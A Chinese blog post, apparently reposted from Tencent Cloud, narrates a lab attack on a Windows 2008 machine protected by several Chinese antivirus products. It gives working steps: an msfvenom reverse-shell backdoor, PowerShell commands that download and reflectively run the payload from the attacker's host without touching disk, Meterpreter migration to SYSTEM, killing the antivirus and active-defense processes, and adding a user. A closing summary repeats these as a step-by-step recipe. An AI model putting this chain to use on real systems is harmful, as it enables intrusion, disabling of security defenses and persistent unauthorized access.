记一次PowerShell配合Metersploit的艰难提权

柔情只为你懂 2024-04-07 10:33 130阅读 0赞

0x01 环境准备

kali(模拟公网攻击机)

Windows2008(靶机,装有360、火绒、安全狗、D盾)

Powersploit(PowerShell攻击框架)

https://github.com/PowerShellMafia/PowerSploit

0x02 尝试落地payload

首先msfvenom生成exe后门程序

  1. msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe

Python3开启http下载服务

  1. python3 -m http.server

msf开启监听

cea977d62f16b307493b32bb1e035a43.jpeg

执行powershell命令时被火绒拦截

  1. (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe")

0x03 PowerShell内存执行exe

这也是现在红军非常流行的攻击手法,payload在内存中加载执行,也就是所谓的文件不落地,大致分以下几步

  • 先将生成的payload在本地进行base64编码
  • 靶机执行远程下载命令
  • 靶机对payload进行解码并赋值给一个变量
  • PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload
本地编码payload

PowerShell下执行

  1. function Convert-BinaryToString {
  2. [CmdletBinding()] param (
  3. [string] $FilePath
  4. )
  5. try {
  6. $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
  7. }
  8. catch {
  9. throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
  10. }
  11. if ($ByteArray) {
  12. $Base64String = [System.Convert]::ToBase64String($ByteArray);
  13. }
  14. else {
  15. throw '$ByteArray is $null.';
  16. }
  17. Write-Output -InputObject $Base64String;
  18. }
  19. Convert-BinaryToString C:\6666.exe > C:\res.txt

将res.txt放置到kali中的下载服务目录,供靶机加载dbb7af283ce84a8cfc12f1c9f39e8429.jpeg

接下来远程加载Powersploit的PE反射模块

  1. iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")

继续加载base64编码后的payload,赋值给一个变量

  1. $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")

靶机解码payload

  1. $PEBytes = [System.Convert]::FromBase64String($InputString)

反射调用

  1. Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

msf成功上线,全程没有任何文件落地,比较成功地避开了杀软对磁盘的查杀

a0695994cbca189072f6cafd8bf6d131.jpeg

0x04 艰难的后渗透攻击

先看一下进程,Windows下,我个人比较中意svchost.exe这个进程,注入率比较高,而且又是system权限,先来试试吧

  1. ps -ef | grep svchost.exe

成功提权

  1. migrate 336

当我准备添加用户的时候,被360的ZhuDongFangYu.exe进程拦截,接下来就是想办法干掉360、火绒、D盾、安全狗的主动防御系统

db428a85c2d30c72c6bc9d83118360e4.jpeg

0x05 Kill主动防御

因为现在是system权限,所以优先尝试kill、pkill这两条命令。经过fuzz,得出以下几点结论

  • D盾可直接Kill掉
  • 360、安全狗Kill掉后,30秒后会再次重启
  • 火绒权限不够,无法直接Kill

    meterpreter > pkill ZhuDongFangYu.exe
    Filtering on ‘ZhuDongFangYu.exe’
    Killing: 6056
    meterpreter > pkill SafeDogGuardCenter.exe
    Filtering on ‘SafeDogGuardCenter.exe’
    Killing: 5752
    meterpreter > pkill HipsTray.exe
    Filtering on ‘HipsTray.exe’
    Killing: 7416
    [-] stdapi_sys_process_kill: Operation failed: Access is denied.
    meterpreter >

0x06 绕过杀软

因为360的权限是比较高的,且我现在是system权限,就像尝试注入一下360的主动防御进程,竟然成功了!

f228fddf74e497c5f5b5a78508585307.jpeg

这一下我直接好家伙,先把SafeDog干掉

  1. ps -ef | Safe
  2. pkill Safe

来靶机上看一下,发现安全狗的主进程都被干掉了,360还是狠啊

e43772b8d6f138002c098ea88c8f4385.jpeg

当我尝试杀死火绒的进程时,被火绒反杀了,也就是说,火绒把360的主动防御干掉了,可想而知它的权限得多大

1fa3339e3e8841cd9151052430e90e18.jpeg

重连一次shell后,我尝试注入360主动防御,杀死所有360的程序,成功拿下!

0f5e6a668919e800816d042095afdf88.jpeg

这时候还有一个ZhuDongFangYu.exe没杀,所以我们再注入回svchost.exe用它去杀死360的主动防御,这次杀死后就不会再生了,因为主程序已经被它干死了哈哈哈

df161d4dd8c63f9f2996c5cdab6b25a7.jpeg

现在就剩下火绒了,我进入shell,尝试用taskkill干掉他的时候,发现了一个有意思的提示

8c2c251fd9dbdc78b8937b6d83d9f3e4.jpeg

火绒的父进程是service.exe,那么如果我注入到service.exe中,用service.exe杀Hips*.exe不过分吧?老子打儿子总没毛病了吧?

结果让我很满意哈哈哈哈哈

aef0f301cc3182f97b10f478a07f45f8.jpeg

成功添加用户,遗憾的是没有添加到管理员组,这次艰难的后渗透,就先到这儿吧

3b29822f8c92f45d65170cf21cc6d32c.jpeg

0x07 总结

1.攻击机上msfvenom生成exe后门程序

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe

2.将生成的payload在本地进行base64编码

function Convert-BinaryToString {

[CmdletBinding()] param (

[string] $FilePath

)

try {

$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);

}

catch {

throw “Failed to read file. Ensure that you have permission to the file, and that the file path is correct.”;

}

if ($ByteArray) {

$Base64String = [System.Convert]::ToBase64String($ByteArray);

}

else {

throw ‘$ByteArray is $null.’;

}

Write-Output -InputObject $Base64String;

}

Convert-BinaryToString C:\6666.exe > C:\res.txt

2.将res.txt放置到攻击机中的下载服务目录,Python3开启http下载服务

python3 -m http.server

3.假设这里通过冰蝎已成功连接目录靶机的shell,在冰蝎的命令功能中中执行远程加载Powersploit的PE反射模块

powershell iex(New-Object Net.WebClient).DownloadString(“http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1“)

4.继续加载base64编码后的payload,赋值给一个变量

powershell $b64Str = (New-Object Net.WebClient).DownloadString(“http://192.168.192.119:8000/res.txt“)

5.靶机解码payload

powershell $PEBytes = [System.Convert]::FromBase64String($InputString)

6.反射调用

powershell Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

7.MSF进行监听,msf成功上线

msf>use exploit/multi/handler

msf>set lport 6666

msf>set payload windows/x64/meterprteter/reverse_tcp

msf>set lhost 192.168.192.119

msf>run

8.进行信息收集查看

meterprter>sysinfo //查看下系统版本

meterprter>ps -ef | grep svchost.exe //查看svchost.exe对应的进程和权限,发现有一个system权限的进程ID号为336

meterprter>migrate 336 //进程迁移到svchost.exe的system权限

meterprter>shell

c:\>whomai //查看目标系统权限为system权限,可成功提权

9.但是添加用户的时候被安全卫士的ZhuDongFangYu.exe进程拦截

10通过kill和pkill命令来进行关闭360,安全狗和火绒的进程

meterpreter > pkill ZhuDongFangYu.exe //通过pkill可成功关闭360安全卫士,但是30秒会重启

Filtering on ‘ZhuDongFangYu.exe’

Killing: 6056

meterpreter > pkill SafeDogGuardCenter.exe //通过pkill可成功关闭安全狗,但是30秒会重启

Filtering on ‘SafeDogGuardCenter.exe’

Killing: 5752

meterpreter > pkill HipsTray.exe //通过pkill不能关闭火绒,权限不够

Filtering on ‘HipsTray.exe’

Killing: 7416

[-] stdapi_sys_process_kill: Operation failed: Access is denied.

meterprter>ps -ef | grep ZhuDongFangYu.exe //查看ZhuDongFangYu.exe对应的system 权限的进程ID为6180

meterprter>migrate 6180 //进程迁移到ZhuDongFangYu.exe对应的system 权限的进程

meterprter>getuid //发现当前权限已成功提权为system

meterprter>ps -ef | Safe //查看安全狗对应的进程

meterprter> pkill Safe //关闭安全狗,但是不能关闭火绒

meterprter>shell

c:/>tasklist |findstr Hips //查看火绒服务对应的进程,发现HipsMain.exe主程序为800

c:/>taskkill /PID 800 /F //尝试kill掉主程序,发现失败

c:/>taskkill /f /t /im Hips* //尝试kill掉所有火绒服务,但是失败,发现子进程错误

c:/> taskkill |findstr 552 //参数查看所有子进程对应的服务,其中只能查看进程552对应的服务为services.exe

meterpreter >migrate 552 //注入到services.exe进程中

c:/>taskkill /f /t /im Hips* //kill所有的火绒服务,可成功禁用掉

原文连接:

https://cloud.tencent.com/developer/article/1865215

发表评论

表情:
评论列表 (有 0 条评论,130人围观)

还没有评论,来说两句吧...

相关阅读

    相关 艰难GC问题排查!

    背景 gc问题一直是一个很难排查的问题,但是他又是一个经常在我们开发业务中出现的。这不,最近在我的项目中就出现了一个比较奇葩的gc问题,排查过程比较繁琐,所以在这里分享一